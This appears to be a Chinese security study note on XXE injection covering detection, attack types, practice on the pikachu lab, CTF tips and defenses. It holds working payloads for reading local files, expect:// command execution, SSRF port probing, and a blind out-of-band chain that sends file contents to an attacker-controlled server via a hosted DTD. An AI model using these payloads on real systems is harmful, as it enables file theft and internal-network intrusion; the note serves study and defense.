当前位置: 首页 > news >正文

No.18 笔记 | XXE(XML 外部实体注入)漏洞原理、分类、利用及防御整理

一、XXE 漏洞概述

(一)定义

XXE(XML 外部实体注入)漏洞源于 XML 解析器对外部实体的不当处理,攻击者借此注入恶意 XML 实体,可实现敏感文件读取、远程命令执行和内网渗透等危险操作。

(二)识别方法

  • 请求类型分析
    • 重点关注 POST 请求,多数 XXE 漏洞涉及 XML 数据的 POST 提交,也需留意其他可能包含 XML 数据的请求类型。
  • MIME 类型与请求头检查
    • 关注 application/xml、text/xml 等 XML 相关 MIME 类型,注意 Content - Type 头,必要时可修改为 application/xml 进行测试。
  • XML 标签识别
    • 寻找明显的自定义 XML 标签及分析 XML 结构,以确定可能的薄弱环节。

二、触发条件

(一)版本因素

  • libxml < 2.9.0 默认开启外部实体解析。
  • PHP(libxml < 2.9.1)中 libxml_disable_entity_loader 设置为 FALSE 时可能启用外部实体解析。

(二)配置因素

系统管理员可能手动开启外部实体解析,需采取额外安全措施。

三、攻击分类与利用

(一)攻击类型

  • 显式攻击
    • 特征:攻击者直接从应用程序响应获取外部实体内容。
    • 优势:直接、快速,便于验证利用,适合初步探测。
    • 局限:在现代应用中较少见,因开发者已意识到其危险性。
  • 盲攻击(Blind XXE)
    • 特征:应用程序不直接返回外部实体内容,增加攻击难度与隐蔽性。
    • 高级技巧:利用参数实体读取本地文件,将内容作为 URL 参数发送到攻击者控制的服务器。
    • 现实应用:多数 XXE 漏洞为此类型,需复杂利用手法。
    • 关键要求:需具有公网 IP 的服务器接收记录数据,采用带外数据通道(OOB)技术实现隐蔽传输收集。

(二)利用方式

  • 读取任意文件
    • 有回显情况
<?php
$xml = <<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml, null, LIBXML_NOENT);
print_r($data);
?>

通过访问相关页面可读取 /etc/passwd 文件内容。

  • 无回显情况(利用 OOB)
    • 攻击者将.dtd 文件托管在 VPS 上。
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://ATTACKER_SERVER.com/xxe_file.dtd">
<catalog><core id="test101"><author>John Doe</author><title>I love XML</title><category>Computers</category><price>9.99</price><date>2018-10-01</date><description>&xxe;</description></core>
</catalog>

.dtd 文件内容可能为:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://ATTACKER_SERVER.com/?%file;'>">
%all;

易受攻击的服务器获取.dtd 文件并执行命令,攻击者从服务器日志查看文件内容。

  • 命令执行
    在 PHP 环境下,需安装 expect 扩展(默认未安装)。
<?php
$xml = <<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "expect://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml, null, LIBXML_NOENT);
print_r($data);
?>
  • 内网探测 / SSRF
    利用 http:// 协议发起 HTTP 请求探查内网,如端口扫描:
<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080">]>
<catalog><core id="test101"><author>John Doe</author><title>I love XML</title><category>Computers</category><price>9.99</price><date>2018-10-01</date><description>&xxe;</description></core>
</catalog>

根据响应时间 / 长度判断端口是否开启。

  • 其他攻击方式(如 DDoS)
    如 Billion Laughs 攻击,通过构造恶意 XML 实体文件耗尽内存。

四、漏洞练习

(一)pikachu 靶场

  • 有回显情况
<?xml version="1.0"?> 
<!DOCTYPE foo [ 
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]> 
<foo>&xxe;</foo>
  • 无回显情况
    • 注释回显代码构造无回显环境。
    • 使用 dnslog 判断漏洞,修改 payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://h7yyv7.dnslog.cn">
]>
<foo>&xxe;</foo>

确认漏洞后,用 VPS(如 Kali)创建 evil.dtd 文件:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///F:/xxe.txt">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://192.168.31.229?c=%file;'>">

在 pikachu 中使用 payload:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://192.168.31.229/evil.dtd">
%remote;%int;%send;
]>

(二)CTF 场景

  1. 观察 POST 包(可能为 application/json)内容。
  2. 更改请求包类型为 application/xml 测试,尝试内部实体参数的 XXE payload,可能成功返回数据。

五、漏洞防御

  1. 升级版本
    libxml 2.9.1 及以后默认不解析外部实体。
  2. 禁用外部实体方法
  • PHP:libxml_disable_entity_loader(true);
  • Java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
  • Python
from lxml import etree
xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities=False))

过滤 XML 数据
过滤关键词:<!DOCTYPE、<!ENTITY、SYSTEM 和 PUBLIC。

相关文章:

No.18 笔记 | XXE(XML 外部实体注入)漏洞原理、分类、利用及防御整理

一、XXE 漏洞概述 &#xff08;一&#xff09;定义 XXE&#xff08;XML 外部实体注入&#xff09;漏洞源于 XML 解析器对外部实体的不当处理&#xff0c;攻击者借此注入恶意 XML 实体&#xff0c;可实现敏感文件读取、远程命令执行和内网渗透等危险操作。 &#xff08;二&am…...

Discuz | 全站多国语言翻译和繁体本地转换插件 特色与介绍

Discuz全站多国语言翻译和繁体本地转换插件 特色与介绍 特殊&#xff1a;集成了2个开源库1.多国语言翻译 来自&#xff1a;github.com/xnx3/translate特色&#xff1a;无限使用接口 免费使用2个翻译端 带有一级和二级缓存 实现秒翻译 2.简体 繁体&#xff08;台湾&#xff09…...

【毕业设计】基于SpringBoot的网上商城系统

前言 &#x1f525;本系统可以选作为毕业设计&#xff0c;运用了现在主流的SSM框架&#xff0c;采用Maven来帮助我们管理依赖&#xff0c;所选结构非常合适大学生所学的技术&#xff0c;非常合适作为大学的毕业设计&#xff0c;难以适中。 &#x1f525;采用技术&#xff1a;Sp…...

【GIT】.gitignore文件的使用

使用 Visual Studio 开发项目&#xff0c;并使用 Git 将项目推送到 GitLab 时&#xff0c;有一些文件是自动生成的、特定于开发环境的文件&#xff0c;通常不应该被推送到远程仓库。这就是 .gitignore 文件的作用&#xff0c;它可以告诉 Git 忽略这些文件或文件夹。 1. 哪些文…...

【Qt】控件——Qt多元素控件、常见的多元素控件、多元素控件的使用、List Widget、Table Widget、Tree Widget

文章目录 QtQt多元素控件List WidgetTable WidgetTree Widget Qt Qt多元素控件 List Widget 使用 QListWidget 能够显示一个纵向的列表。 属性说明currentRow当前被选中的是第几行。count一共有多少行。sortingEnabled是否允许排序。isWrapping是否允许换行。itemAlignment元素…...

【图论】(五)最短路径算法(D / BF / SPFA / F / A*)

最短路径算法&#xff08;D / BF / SPFA / F / A*&#xff09; 1. 最短路径之dijkstra&#xff08;D算法&#xff09;思路模拟过程程序实现拓展 2. dijkstra算法堆优化思路程序实现 3. Bellman_ford 算法&#xff08;BF算法&#xff09;松弛模拟过程拓展 4. Bellman_ford 队列优…...

Scala中的reduce

作用&#xff1a;reduce是一种集合操作&#xff0c;用于对集合中的元素进行聚合操作&#xff0c;返回一个单一的结果。它通过指定的二元操作&#xff08;即取两个元素进行操作&#xff09;对集合中所有的元素进行递归处理&#xff0c;并最终将其合并为一个值。 语法&#xff1…...

调查显示软件供应链攻击增加

OpenText 发布了《2024 年全球勒索软件调查》&#xff0c;强调了网络攻击的重要趋势&#xff0c;特别是在软件供应链中&#xff0c;以及生成式人工智能在网络钓鱼诈骗中的使用日益增多。 尽管各国政府努力加强网络安全措施&#xff0c;但调查显示&#xff0c;仍有相当一部分企…...

JMeter使用不同方式传递接口参数

1、使用 HTTP 请求中的参数&#xff1a; 在 JMeter 的测试计划中&#xff0c;添加一个 "HTTP 请求" 元件。 在 "HTTP 请求" 元件的参数化选项中&#xff0c;可以添加参数的名称和值。可以手动输入参数&#xff0c;也可以使用变量来传递参数值。 如果要使…...

《C++开发 AR 游戏:开启未来娱乐新潮流》

一、引言 在当今科技飞速发展的时代&#xff0c;增强现实&#xff08;AR&#xff09;技术正以惊人的速度改变着我们的生活和娱乐方式。从智能手机上的 AR 滤镜到沉浸式的 AR 游戏&#xff0c;这项技术的应用越来越广泛。而在众多编程语言中&#xff0c;C以其高效、强大的性能在…...

列表、元组、集合、字典和 pandas 数据框(DataFrame)之间的数据转换

二、列表、元组、集合、字典和 pandas 数据框&#xff08;DataFrame&#xff09;之间的数据转换 在 Python 中&#xff0c;列表、元组、集合、字典和 pandas 数据框&#xff08;DataFrame&#xff09;是常见的数据结构&#xff0c;它们可以通过多种方式相互转换。每种数据结构…...

美图设计室

美图设计室 体验地址&#xff1a;美图设计室 一、产品描述 美图设计室是美图公司推出的一款集图形设计、广告制作、海报制作等功能于一体的智能设计软件。它凭借其独特的界面设计、强大的工具功能、智能化辅助设计以及丰富的社区互动功能&#xff0c;为用户提供了一个便捷、高…...

张雪峰:如果你现在是计算机专业,一定要优先报网络安全,它是未来国家发展的大方向

&#x1f91f; 基于入门网络安全/黑客打造的&#xff1a;&#x1f449;黑客&网络安全入门&进阶学习资源包 前言 “计算机专业 一定要优先报 网络安全 它是未来国家发展的大方向” 为什么推荐学网络安全&#xff1f; “没有网络安全就没有国家安全。”当前&#xff…...

Golang | Leetcode Golang题解之第486题预测赢家

题目&#xff1a; 题解&#xff1a; func PredictTheWinner(nums []int) bool {return total(nums, 0, len(nums) - 1, 1) > 0 }func total(nums []int, start, end int, turn int) int {if start end {return nums[start] * turn}scoreStart : nums[start] * turn total…...

【Golang】Go语言中如何创建Cron定时任务

✨✨ 欢迎大家来到景天科技苑✨✨ &#x1f388;&#x1f388; 养成好习惯&#xff0c;先赞后看哦~&#x1f388;&#x1f388; &#x1f3c6; 作者简介&#xff1a;景天科技苑 &#x1f3c6;《头衔》&#xff1a;大厂架构师&#xff0c;华为云开发者社区专家博主&#xff0c;…...

Android compose 重建流程1

前言 本文是笔者学习Compose是如何自动触发UI刷新的笔记,可能缺乏一定可读性和教导性.(建议阅读参考文献更具启发性) 使用以下BOM作为研究环境. composeBom "2024.04.01" androidx-compose-bom { group "androidx.compose", name "compose-bom…...

C++:模板(2)

目录 非类型模板参数 模板的特化 概念 函数模板特化 类模板特化 全特化 偏特化 模板的分离编译 分离编译的概念 模板的分离编译 ​编辑 模板总结 非类型模板参数 模板参数分为类型形参与非类型形参。 类型形参&#xff1a;在模板参数列表中&#xff0c;跟在class…...

Golang 并发编程:Context 包的使用与并发控制

文章目录 一、简介二、Context 的基本概念1. context 包常用函数 三、Context 的基本用法1. WithCancel&#xff1a;取消任务的上下文 四、超时控制&#xff1a;WithTimeout 和 WithDeadline1. 使用 WithTimeout 控制任务超时2. 使用 WithDeadline 设定截止时间 五、传递上下文…...

QGraphics类型学习使用【Qt】【C++】

QGraphics类型学习使用 需求过程全部完整代码 首先已知&#xff0c;QGraphicsView&#xff0c;QGraphicsScene, QGraphicsItem&#xff0c;分别称为&#xff1a;视图&#xff0c;场景&#xff0c;图元&#xff0c;图表就是各种各样的元素&#xff0c;图片元素&#xff0c;线条元…...

迁移学习和在线学习小结

迁移学习 英文小名: transform learning 简介: 把已经训练好的模型A为基本, 在新场景中, 根据新数据建立模型B 目的: 将某个领域或任务上学习到的知识/模式, 应用到不同但相关的领域/问题中 方法: 1.结构引用 适用情况: 新数据多, 场景相似度高, 可以基于原模型重新训练 2.特征…...

Appium+python自动化(十六)- ADB命令

简介 Android 调试桥(adb)是多种用途的工具&#xff0c;该工具可以帮助你你管理设备或模拟器 的状态。 adb ( Android Debug Bridge)是一个通用命令行工具&#xff0c;其允许您与模拟器实例或连接的 Android 设备进行通信。它可为各种设备操作提供便利&#xff0c;如安装和调试…...

AtCoder 第409​场初级竞赛 A~E题解

A Conflict 【题目链接】 原题链接&#xff1a;A - Conflict 【考点】 枚举 【题目大意】 找到是否有两人都想要的物品。 【解析】 遍历两端字符串&#xff0c;只有在同时为 o 时输出 Yes 并结束程序&#xff0c;否则输出 No。 【难度】 GESP三级 【代码参考】 #i…...

聊聊 Pulsar:Producer 源码解析

一、前言 Apache Pulsar 是一个企业级的开源分布式消息传递平台&#xff0c;以其高性能、可扩展性和存储计算分离架构在消息队列和流处理领域独树一帜。在 Pulsar 的核心架构中&#xff0c;Producer&#xff08;生产者&#xff09; 是连接客户端应用与消息队列的第一步。生产者…...

uniapp微信小程序视频实时流+pc端预览方案

方案类型技术实现是否免费优点缺点适用场景延迟范围开发复杂度​WebSocket图片帧​定时拍照Base64传输✅ 完全免费无需服务器 纯前端实现高延迟高流量 帧率极低个人demo测试 超低频监控500ms-2s⭐⭐​RTMP推流​TRTC/即构SDK推流❌ 付费方案 &#xff08;部分有免费额度&#x…...

《基于Apache Flink的流处理》笔记

思维导图 1-3 章 4-7章 8-11 章 参考资料 源码&#xff1a; https://github.com/streaming-with-flink 博客 https://flink.apache.org/bloghttps://www.ververica.com/blog 聚会及会议 https://flink-forward.orghttps://www.meetup.com/topics/apache-flink https://n…...

基于Springboot+Vue的办公管理系统

角色&#xff1a; 管理员、员工 技术&#xff1a; 后端: SpringBoot, Vue2, MySQL, Mybatis-Plus 前端: Vue2, Element-UI, Axios, Echarts, Vue-Router 核心功能&#xff1a; 该办公管理系统是一个综合性的企业内部管理平台&#xff0c;旨在提升企业运营效率和员工管理水…...

【MATLAB代码】基于最大相关熵准则(MCC)的三维鲁棒卡尔曼滤波算法(MCC-KF),附源代码|订阅专栏后可直接查看

文章所述的代码实现了基于最大相关熵准则(MCC)的三维鲁棒卡尔曼滤波算法(MCC-KF),针对传感器观测数据中存在的脉冲型异常噪声问题,通过非线性加权机制提升滤波器的抗干扰能力。代码通过对比传统KF与MCC-KF在含异常值场景下的表现,验证了后者在状态估计鲁棒性方面的显著优…...

PostgreSQL——环境搭建

一、Linux # 安装 PostgreSQL 15 仓库 sudo dnf install -y https://download.postgresql.org/pub/repos/yum/reporpms/EL-$(rpm -E %{rhel})-x86_64/pgdg-redhat-repo-latest.noarch.rpm# 安装之前先确认是否已经存在PostgreSQL rpm -qa | grep postgres# 如果存在&#xff0…...

[论文阅读]TrustRAG: Enhancing Robustness and Trustworthiness in RAG

TrustRAG: Enhancing Robustness and Trustworthiness in RAG [2501.00879] TrustRAG: Enhancing Robustness and Trustworthiness in Retrieval-Augmented Generation 代码&#xff1a;HuichiZhou/TrustRAG: Code for "TrustRAG: Enhancing Robustness and Trustworthin…...

【51单片机】4. 模块化编程与LCD1602Debug

1. 什么是模块化编程 传统编程会将所有函数放在main.c中&#xff0c;如果使用的模块多&#xff0c;一个文件内会有很多代码&#xff0c;不利于组织和管理 模块化编程则是将各个模块的代码放在不同的.c文件里&#xff0c;在.h文件里提供外部可调用函数声明&#xff0c;其他.c文…...